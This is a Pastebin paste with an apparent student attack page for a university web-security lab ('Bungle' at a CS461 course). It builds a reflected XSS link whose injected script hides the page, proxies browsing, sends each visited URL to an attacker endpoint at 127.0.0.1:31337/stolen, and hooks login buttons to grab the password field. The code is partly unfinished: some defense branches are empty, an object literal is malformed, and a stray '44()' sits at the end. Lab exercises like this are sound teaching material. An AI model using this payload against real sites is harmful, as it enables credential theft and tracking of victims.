Advertisement
Guest User

Untitled

a guest
Oct 6th, 2016
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. <h3>Hello</h3>
  2.  
  3. <meta charset="utf-8">
  4. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  5. <script>
  6.  
  7. $(document).ready(function() {
  8. var url = makeLink(xssdefense, target, attacker);
  9. $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  10. });
  11.  
  12. // Extend this function:
  13. function payload(attacker) {
  14. function log(data) {
  15. console.log($.param(data))
  16. $.get(attacker, data);
  17. }
  18. function proxy(href) {
  19. $("html").load(href, function(){
  20. console.log("loaded nex page");
  21. $("html").show();
  22. log({event: "nav", uri: href});
  23. $("#query").val(href.toString());
  24. $(".btn").attr("type", "button");
  25. $(".btn").click(function(){
  26. var nextlink = $(this).attr("formaction");
  27. $("html").load(nextlink.toString(), { username:"quinn" password:$("#userpass").val()} )
  28. });
  29. });
  30. }
  31. $("html").hide();
  32. proxy("./");
  33. }
  34.  
  35. function makeLink(xssdefense, target, attacker) {
  36. if (xssdefense == 0) {
  37. return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  38. encodeURIComponent("<script" + ">" + payload.toString() +
  39. ";payload(\"" + attacker + "\");</script" + ">");
  40. } else if(xssdefense == 1){
  41.  
  42. }else if (xssdefense == 2){
  43.  
  44. }else{
  45.  
  46. }
  47. }
  48.  
  49. var xssdefense = 0;
  50. var target = "http://bungle-cs461.cs.illinois.edu/";
  51. var attacker = "http://127.0.0.1:31337/stolen";
  52.  
  53. </script>
  54. 44()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement